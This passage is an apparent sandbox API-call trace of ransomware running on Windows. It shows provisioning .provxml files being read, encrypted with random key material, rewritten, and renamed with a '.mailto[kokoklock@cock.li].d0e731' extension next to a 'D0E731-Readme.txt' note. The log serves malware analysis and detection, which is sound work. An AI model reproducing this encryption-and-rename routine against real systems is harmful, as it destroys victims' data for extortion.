_Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.862] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.862] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.862] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8890) returned 1 [0087.862] RtlExitUserThread (Status=0x1) Thread: id = 1383 os_tid = 0x1438 [0087.863] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0087.864] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 1 [0087.864] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.864] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x3003fd0c | out: lpFileSize=0x3003fd0c*=480) returned 1 [0087.864] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x1dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.864] ReadFile (in: hFile=0x3d0, lpBuffer=0x3003fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3003fcdc, lpOverlapped=0x0 | out: lpBuffer=0x3003fce0*, lpNumberOfBytesRead=0x3003fcdc*=0x4, lpOverlapped=0x0) returned 1 [0087.865] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.865] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc660 [0087.865] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc688 [0087.865] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7f0 [0087.865] NtQuerySystemTime (in: CurrentTime=0x3003fcb8 | out: CurrentTime=0x3003fcb8*=132121176457663529) returned 0x0 [0087.865] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0xc84b0915 [0087.865] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0xf8fee4ef [0087.865] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x58f0d3b6 [0087.865] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x856b3336 [0087.865] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0xbd7349b7 [0087.865] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0xb0dc7bc9 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0xe11c90f6 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x75cdf862 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x2a901f49 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x3dd53572 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0xcdff3b32 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x13cb4c67 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x5f445e0c [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x2edeb07b [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x1c88840d [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x25ee39de [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0xcab0382 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x41d18279 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x6eb3c95f [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0xaf74cd9e [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0xda15b206 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x1cb3e7e [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x69d32726 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0xbb9d6db4 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x951dfb74 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x259f1c2f [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x63f4a7de [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x7584b878 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0xcf60a2a3 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0xdf5d1af [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x83954c35 [0087.866] RtlRandom (in: Seed=0x3003fcc4 | out: Seed=0x3003fcc4) returned 0x16186e57 [0087.876] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x3003fcb8, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x3003fcb8*=0x1e0, lpOverlapped=0x0) returned 1 [0087.877] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3003fc80 | out: lpNewFilePointer=0x0) returned 1 [0087.877] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x3003fcb4, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x3003fcb4*=0x1e0, lpOverlapped=0x0) returned 1 [0087.877] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc660 [0087.877] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6d8 [0087.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6d8) returned 1 [0087.877] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc660*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3003fcb0, lpOverlapped=0x0 | out: lpBuffer=0x55dc660*, lpNumberOfBytesWritten=0x3003fcb0*=0x20, lpOverlapped=0x0) returned 1 [0087.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc660) returned 1 [0087.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0087.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0087.877] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc6b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3003fcdc, lpOverlapped=0x0 | out: lpBuffer=0x55dc6b0*, lpNumberOfBytesWritten=0x3003fcdc*=0x8, lpOverlapped=0x0) returned 1 [0087.877] WriteFile (in: hFile=0x3d0, lpBuffer=0x3003fcf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3003fcdc, lpOverlapped=0x0 | out: lpBuffer=0x3003fcf4*, lpNumberOfBytesWritten=0x3003fcdc*=0x4, lpOverlapped=0x0) returned 1 [0087.878] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3003fcdc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x3003fcdc*=0x4, lpOverlapped=0x0) returned 1 [0087.878] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x3003fcdc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x3003fcdc*=0x6c, lpOverlapped=0x0) returned 1 [0087.878] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3003fcdc, lpOverlapped=0x0 | out: lpBuffer=0x55dc688*, lpNumberOfBytesWritten=0x3003fcdc*=0x20, lpOverlapped=0x0) returned 1 [0087.878] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3003fcdc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x3003fcdc*=0x4, lpOverlapped=0x0) returned 1 [0087.878] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc688) returned 1 [0087.878] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc818) returned 1 [0087.878] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.879] CloseHandle (hObject=0x3d0) returned 1 [0087.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16a) returned 0x33fc9c8 [0087.879] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0087.879] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0087.879] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.879] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.880] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.880] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0087.880] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0087.880] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.880] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.880] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.880] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0087.880] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3495628) returned 1 [0087.880] RtlExitUserThread (Status=0x1) Thread: id = 1384 os_tid = 0x143c [0087.882] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0087.882] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 1 [0087.882] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.882] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x300bfc9c | out: lpFileSize=0x300bfc9c*=464) returned 1 [0087.882] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x1cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.882] ReadFile (in: hFile=0x3d0, lpBuffer=0x300bfc70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x300bfc6c, lpOverlapped=0x0 | out: lpBuffer=0x300bfc70*, lpNumberOfBytesRead=0x300bfc6c*=0x4, lpOverlapped=0x0) returned 1 [0087.883] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc818 [0087.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.883] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc660 [0087.883] NtQuerySystemTime (in: CurrentTime=0x300bfc48 | out: CurrentTime=0x300bfc48*=132121176457819511) returned 0x0 [0087.883] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0xc0c43c02 [0087.883] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0xf2a758a1 [0087.883] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x6cf65c5b [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x128f16c [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x9648a500 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0xcdb32132 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x9f7deb1b [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x1e688492 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0xc4cdd991 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0xe7b9d5e1 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0xb87f487e [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0xae0c39ee [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x333204b9 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x45960530 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x6c038e6f [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0xca493291 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x9a2c3466 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x5848f1e5 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x731ff4ea [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x6c74a46c [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x271d4bdc [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x3d266506 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0xb8c02fdf [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x74bdd0b1 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0xe86b247a [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x170b875d [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x3628fa7b [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x1c6f39a1 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0xf39c8f09 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0xa24a4757 [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0x61a1a69b [0087.884] RtlRandom (in: Seed=0x300bfc54 | out: Seed=0x300bfc54) returned 0xaa64913f [0087.895] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x1d0, lpNumberOfBytesRead=0x300bfc48, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x300bfc48*=0x1d0, lpOverlapped=0x0) returned 1 [0087.895] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300bfc10 | out: lpNewFilePointer=0x0) returned 1 [0087.895] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x300bfc44, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x300bfc44*=0x1d0, lpOverlapped=0x0) returned 1 [0087.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6d8 [0087.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6d8) returned 1 [0087.895] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc6b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x300bfc40, lpOverlapped=0x0 | out: lpBuffer=0x55dc6b0*, lpNumberOfBytesWritten=0x300bfc40*=0x20, lpOverlapped=0x0) returned 1 [0087.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.895] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.895] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x300bfc6c, lpOverlapped=0x0 | out: lpBuffer=0x55dc688*, lpNumberOfBytesWritten=0x300bfc6c*=0x8, lpOverlapped=0x0) returned 1 [0087.896] WriteFile (in: hFile=0x3d0, lpBuffer=0x300bfc84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x300bfc6c, lpOverlapped=0x0 | out: lpBuffer=0x300bfc84*, lpNumberOfBytesWritten=0x300bfc6c*=0x4, lpOverlapped=0x0) returned 1 [0087.896] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x300bfc6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x300bfc6c*=0x4, lpOverlapped=0x0) returned 1 [0087.896] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x300bfc6c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x300bfc6c*=0x6c, lpOverlapped=0x0) returned 1 [0087.896] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x300bfc6c, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x300bfc6c*=0x20, lpOverlapped=0x0) returned 1 [0087.896] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x300bfc6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x300bfc6c*=0x4, lpOverlapped=0x0) returned 1 [0087.896] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) returned 1 [0087.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc688) returned 1 [0087.897] CloseHandle (hObject=0x3d0) returned 1 [0087.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x186) returned 0x33fc9c8 [0087.897] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0087.897] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.mailto[kokoklock@cock.li].d0e731" [0087.897] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.897] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.898] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.898] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0087.898] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.898] wcscpy (in: 